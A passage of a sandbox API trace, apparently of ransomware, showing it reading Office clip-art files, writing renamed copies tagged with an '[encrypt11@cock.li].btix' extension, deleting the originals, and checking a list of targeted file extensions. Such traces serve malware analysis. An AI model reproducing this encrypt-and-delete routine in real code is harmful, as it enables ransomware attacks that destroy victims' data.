returned 4 [0148.497] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0148.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0148.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0148.497] lstrlenW (lpString=".doc") returned 4 [0148.497] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0148.497] lstrlenW (lpString=".docx") returned 5 [0148.497] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0148.497] lstrlenW (lpString=".pdf") returned 4 [0148.497] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0148.497] lstrlenW (lpString=".xls") returned 4 [0148.497] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0148.497] lstrlenW (lpString=".xlsx") returned 5 [0148.497] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0148.497] lstrlenW (lpString=".ppt") returned 4 [0148.497] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0148.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0148.497] lstrlenW (lpString=".zip") returned 4 [0148.497] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0148.497] lstrlenW (lpString=".rar") returned 4 [0148.497] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0148.497] lstrlenW (lpString=".bz2") returned 4 [0148.497] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0148.497] lstrlenW (lpString=".7z") returned 3 [0148.497] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0148.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0148.497] lstrlenW (lpString=".dbf") returned 4 [0148.497] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0148.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0148.497] lstrlenW (lpString=".1cd") returned 4 [0148.497] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0148.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0148.497] lstrlenW (lpString=".jpg") returned 4 [0148.497] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0148.498] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.498] lstrlenW (lpString="J0086384.WMF") returned 12 [0148.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.498] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=9734) returned 1 [0148.498] CloseHandle (hObject=0x384) returned 1 [0148.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 0x220 [0148.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.498] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.498] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.499] GetLastError () returned 0x0 [0148.499] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x2606, lpOverlapped=0x0) returned 1 [0148.500] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x2610, lpOverlapped=0x0) returned 1 [0148.501] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.501] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.501] SetEndOfFile (hFile=0x388) returned 1 [0148.501] CloseHandle (hObject=0x388) returned 1 [0148.501] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.501] SetEndOfFile (hFile=0x384) returned 1 [0148.502] CloseHandle (hObject=0x384) returned 1 [0148.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.502] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 1 [0148.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0148.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0148.502] lstrlenW (lpString=".doc") returned 4 [0148.502] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.502] lstrlenW (lpString=".docx") returned 5 [0148.502] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0148.502] lstrlenW (lpString=".pdf") returned 4 [0148.502] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.502] lstrlenW (lpString=".xls") returned 4 [0148.502] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.502] lstrlenW (lpString=".xlsx") returned 5 [0148.502] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0148.502] lstrlenW (lpString=".ppt") returned 4 [0148.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0148.503] lstrlenW (lpString=".zip") returned 4 [0148.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.503] lstrlenW (lpString=".rar") returned 4 [0148.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.503] lstrlenW (lpString=".bz2") returned 4 [0148.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.503] lstrlenW (lpString=".7z") returned 3 [0148.503] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0148.503] lstrlenW (lpString=".dbf") returned 4 [0148.503] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0148.503] lstrlenW (lpString=".1cd") returned 4 [0148.503] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0148.503] lstrlenW (lpString=".jpg") returned 4 [0148.503] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0148.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0148.503] lstrlenW (lpString=".doc") returned 4 [0148.503] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.503] lstrlenW (lpString=".docx") returned 5 [0148.503] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0148.503] lstrlenW (lpString=".pdf") returned 4 [0148.503] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.503] lstrlenW (lpString=".xls") returned 4 [0148.503] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.503] lstrlenW (lpString=".xlsx") returned 5 [0148.503] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0148.503] lstrlenW (lpString=".ppt") returned 4 [0148.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0148.504] lstrlenW (lpString=".zip") returned 4 [0148.504] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.504] lstrlenW (lpString=".rar") returned 4 [0148.504] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.504] lstrlenW (lpString=".bz2") returned 4 [0148.504] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.504] lstrlenW (lpString=".7z") returned 3 [0148.504] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0148.504] lstrlenW (lpString=".dbf") returned 4 [0148.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0148.504] lstrlenW (lpString=".1cd") returned 4 [0148.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0148.504] lstrlenW (lpString=".jpg") returned 4 [0148.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.504] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.504] lstrlenW (lpString="J0086420.WMF") returned 12 [0148.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.504] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=9596) returned 1 [0148.504] CloseHandle (hObject=0x384) returned 1 [0148.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 0x220 [0148.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.505] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.505] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.505] GetLastError () returned 0x0 [0148.505] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x257c, lpOverlapped=0x0) returned 1 [0148.506] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x2580, lpOverlapped=0x0) returned 1 [0148.507] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.507] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.507] SetEndOfFile (hFile=0x388) returned 1 [0148.508] CloseHandle (hObject=0x388) returned 1 [0148.508] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.508] SetEndOfFile (hFile=0x384) returned 1 [0148.508] CloseHandle (hObject=0x384) returned 1 [0148.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 1 [0148.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0148.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0148.509] lstrlenW (lpString=".doc") returned 4 [0148.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.509] lstrlenW (lpString=".docx") returned 5 [0148.509] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0148.509] lstrlenW (lpString=".pdf") returned 4 [0148.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.509] lstrlenW (lpString=".xls") returned 4 [0148.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.509] lstrlenW (lpString=".xlsx") returned 5 [0148.509] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0148.509] lstrlenW (lpString=".ppt") returned 4 [0148.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0148.509] lstrlenW (lpString=".zip") returned 4 [0148.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.509] lstrlenW (lpString=".rar") returned 4 [0148.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.509] lstrlenW (lpString=".bz2") returned 4 [0148.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.510] lstrlenW (lpString=".7z") returned 3 [0148.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0148.510] lstrlenW (lpString=".dbf") returned 4 [0148.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0148.510] lstrlenW (lpString=".1cd") returned 4 [0148.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0148.510] lstrlenW (lpString=".jpg") returned 4 [0148.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0148.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0148.510] lstrlenW (lpString=".doc") returned 4 [0148.510] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.510] lstrlenW (lpString=".docx") returned 5 [0148.510] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0148.510] lstrlenW (lpString=".pdf") returned 4 [0148.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.510] lstrlenW (lpString=".xls") returned 4 [0148.510] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.510] lstrlenW (lpString=".xlsx") returned 5 [0148.510] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0148.510] lstrlenW (lpString=".ppt") returned 4 [0148.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0148.510] lstrlenW (lpString=".zip") returned 4 [0148.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.510] lstrlenW (lpString=".rar") returned 4 [0148.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.510] lstrlenW (lpString=".bz2") returned 4 [0148.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.511] lstrlenW (lpString=".7z") returned 3 [0148.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0148.511] lstrlenW (lpString=".dbf") returned 4 [0148.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0148.511] lstrlenW (lpString=".1cd") returned 4 [0148.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0148.511] lstrlenW (lpString=".jpg") returned 4 [0148.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.511] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.511] lstrlenW (lpString="J0086424.WMF") returned 12 [0148.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.511] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=17016) returned 1 [0148.511] CloseHandle (hObject=0x384) returned 1 [0148.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 0x220 [0148.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.512] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.512] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.512] GetLastError () returned 0x0 [0148.512] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x4278, lpOverlapped=0x0) returned 1 [0148.912] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x4280, lpOverlapped=0x0) returned 1 [0148.914] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.914] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.914] SetEndOfFile (hFile=0x388) returned 1 [0148.914] CloseHandle (hObject=0x388) returned 1 [0148.914] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.914] SetEndOfFile (hFile=0x384) returned 1 [0148.915] CloseHandle (hObject=0x384) returned 1 [0148.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.915] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 1 [0148.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0148.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0148.915] lstrlenW (lpString=".doc") returned 4 [0148.915] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.915] lstrlenW (lpString=".docx") returned 5 [0148.915] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0148.916] lstrlenW (lpString=".pdf") returned 4 [0148.916] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.916] lstrlenW (lpString=".xls") returned 4 [0148.916] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.916] lstrlenW (lpString=".xlsx") returned 5 [0148.916] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0148.916] lstrlenW (lpString=".ppt") returned 4 [0148.916] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0148.916] lstrlenW (lpString=".zip") returned 4 [0148.916] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.916] lstrlenW (lpString=".rar") returned 4 [0148.916] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.916] lstrlenW (lpString=".bz2") returned 4 [0148.916] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.916] lstrlenW (lpString=".7z") returned 3 [0148.916] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0148.916] lstrlenW (lpString=".dbf") returned 4 [0148.916] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0148.916] lstrlenW (lpString=".1cd") returned 4 [0148.916] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0148.916] lstrlenW (lpString=".jpg") returned 4 [0148.916] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0148.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0148.916] lstrlenW (lpString=".doc") returned 4 [0148.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.916] lstrlenW (lpString=".docx") returned 5 [0148.916] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0148.917] lstrlenW (lpString=".pdf") returned 4 [0148.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.917] lstrlenW (lpString=".xls") returned 4 